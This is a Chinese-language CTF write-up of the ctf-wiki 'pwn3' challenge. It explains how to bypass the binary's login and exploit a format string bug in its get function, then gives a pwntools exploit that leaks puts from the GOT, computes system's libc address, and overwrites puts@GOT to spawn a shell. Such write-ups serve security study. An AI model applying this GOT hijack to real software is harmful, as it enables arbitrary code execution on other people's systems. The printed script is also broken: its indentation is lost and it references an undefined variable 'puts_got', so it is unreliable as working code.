本题来自ctf-wiki,是一道 hijack GOT的例题
确定保护机制
发现主要开启了NX保护
分析程序
用ida反汇编一下,这个程序主要是实现了用正确用户名、密码登录FTP,具有get、put、dir三个基本功能
首先是第一个函数ask_username
,发现它读取我们键入的字符串,并且每个字符加1
第二个函数ask_password
,发现它就是比较一下输入的字符与sysbdmin是否一致,不一致直接退出,所以可以得出我们要输入的用户名即 sysbdmin 每个字符-1 即 rxraclhm
接下来是put函数,主要功能就是自定义一个文件并存放,定义的文件构成一个链栈,不直接存在于磁盘上
然后是dir函数,主要功能就是查看有哪些文件,运行时发现输出的时候会把put后的文件名连接在一起输出
最后是漏洞函数get,可以明显地看出存在格式字符串漏洞,发现漏洞载体dest与esp距离为1ch,所以经过计算得出 它所在的位置为 0x1c/4 = 7 ,第7个参数,并且因为puts函数一定会调用,可以利用puts函数来调用system
这样就可以确定步骤和编写exp了
from pwn import *
elf = ELF('./pwn3')
libc = ELF('/lib32/libc.so.6')
sh = process('./pwn3')
sh.recv() # 进入main函数
# 对put函数利用
def put (name,content):
sh.sendline('put')
sh.recvuntil("please enter the name of the file you want to upload:")
sh.sendline(name)
sh.recvuntil("then, enter the content:")
sh.sendline(content)
# 对get函数利用
def get (name):
sh.sendline('get')
sh.recvuntil("enter the file name you want to get:")
sh.sendline(name)
data = sh.recv()
return data
# 计算用户名
usr = ""
temp = "sysbdmin"
for c in temp:
usr += chr(ord(c)-1)
sh.sendline(usr) # 通过用户验证
puts_got_addr = elf.got['puts'] # 获取got表上的addr地址
# 因为在前面有一个scanf函数,为了防止它把printf高八位的0截断,所以将%7$s放在了前面,所以要变成 %8$s
put('sh', b'%8$s' + p32(puts_got_addr))
puts_addr = u32(get('sh')[:4])
system_addr = puts_addr - libc.symbols['puts'] + libc.symbols['system']
# 调用fmtstr_payload,把GOT表上的puts函数换为system函数,使下次调用puts函数时会直接调用system函数
payload = fmtstr_payload(7, {puts_got:system_addr})
put('/bin/',payload) # 两次put,文件名刚好连成了/bin/sh
get('/bin/')
sh.sendline('dir')
sh.interactive()